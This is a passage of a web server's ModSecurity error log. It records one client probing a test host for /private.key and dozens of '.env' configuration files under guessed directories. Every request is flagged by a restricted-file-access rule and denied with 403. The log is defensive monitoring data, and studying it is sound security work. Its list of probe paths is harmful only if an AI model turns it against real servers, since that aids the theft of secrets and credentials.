&quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXggAAAAQ&quot;]
[Wed Feb 25 06:05:25.753113 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXggAAAAQ&quot;]
[Wed Feb 25 06:05:25.753370 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXggAAAAQ&quot;]
[Wed Feb 25 06:05:25.772464 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /page-editor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHAAAAAI&quot;]
[Wed Feb 25 06:05:25.772851 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHAAAAAI&quot;]
[Wed Feb 25 06:05:25.773096 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHAAAAAI&quot;]
[Wed Feb 25 06:05:25.791836 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /processor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgwAAAAQ&quot;]
[Wed Feb 25 06:05:25.792248 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgwAAAAQ&quot;]
[Wed Feb 25 06:05:25.792504 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgwAAAAQ&quot;]
[Wed Feb 25 06:05:25.871614 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHQAAAAI&quot;]
[Wed Feb 25 06:05:25.871923 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHQAAAAI&quot;]
[Wed Feb 25 06:05:25.872128 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHQAAAAI&quot;]
[Wed Feb 25 06:05:25.921866 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /parity/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHgAAAAI&quot;]
[Wed Feb 25 06:05:25.922127 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHgAAAAI&quot;]
[Wed Feb 25 06:05:25.922293 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHgAAAAI&quot;]
[Wed Feb 25 06:05:25.964470 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXhQAAAAQ&quot;]
[Wed Feb 25 06:05:25.964765 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXhQAAAAQ&quot;]
[Wed Feb 25 06:05:25.964950 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXhQAAAAQ&quot;]
[Wed Feb 25 06:05:25.981942 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /passportjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHwAAAAI&quot;]
[Wed Feb 25 06:05:25.982203 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHwAAAAI&quot;]
[Wed Feb 25 06:05:25.982381 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXHwAAAAI&quot;]
[Wed Feb 25 06:05:25.988723 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /product/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXhgAAAAQ&quot;]
[Wed Feb 25 06:05:25.988970 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXhgAAAAQ&quot;]
[Wed Feb 25 06:05:25.989133 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXhgAAAAQ&quot;]
[Wed Feb 25 06:05:26.054455 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /patchwork/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIAAAAAI&quot;]
[Wed Feb 25 06:05:26.054760 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIAAAAAI&quot;]
[Wed Feb 25 06:05:26.054945 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIAAAAAI&quot;]
[Wed Feb 25 06:05:26.091743 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXhwAAAAQ&quot;]
[Wed Feb 25 06:05:26.092143 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXhwAAAAQ&quot;]
[Wed Feb 25 06:05:26.092347 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXhwAAAAQ&quot;]
[Wed Feb 25 06:05:26.124733 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIQAAAAI&quot;]
[Wed Feb 25 06:05:26.125014 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIQAAAAI&quot;]
[Wed Feb 25 06:05:26.125220 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ6DFlIszkcv5YapLJKXIQAAAAI&quot;]
[Wed Feb 25 06:05:26.155601 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ6DFp6MLyC5r86Hx-ZXiAAAAAQ&quot;]
